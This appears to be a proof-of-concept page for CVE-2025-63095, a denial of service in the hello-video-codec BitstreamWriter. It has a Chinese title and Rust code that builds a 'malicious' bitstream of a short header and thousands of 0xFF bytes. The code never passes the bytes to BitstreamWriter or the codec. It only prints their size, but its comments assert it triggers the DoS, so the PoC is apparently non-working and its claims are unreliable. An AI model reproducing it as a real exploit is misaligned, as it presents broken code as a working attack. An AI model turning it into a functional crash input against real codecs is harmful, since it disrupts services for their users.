CVE-2025-63095: Tempus Ex hello-video-codec BitstreamWriter输入验证不当导致DoS

// PoC for CVE-2025-63095 // Description: Crafted input triggering BitstreamWriter::write_bits() improper input validation // This PoC generates a malicious bitstream that causes DoS in hello-video-codec fn generate_malicious_bitstream() -> Vec<u8> { let mut payload = Vec::new(); // Craft header with invalid bit length parameters payload.push(0x00); payload.push(0x00); payload.push(0x00); payload.push(0x01); // Malformed bitstream data that triggers write_bits() validation issue // Attempting to write bits beyond expected range for _ in 0..1000 { payload.push(0xFF); payload.push(0xFF); payload.push(0xFF); } payload } fn main() { let malicious_data = generate_malicious_bitstream(); // Simulate processing with BitstreamWriter // In vulnerable version, this will trigger DoS println!("Malicious bitstream size: {} bytes", malicious_data.len()); println!("CVE-2025-63095 PoC - DoS trigger via improper write_bits() validation"); }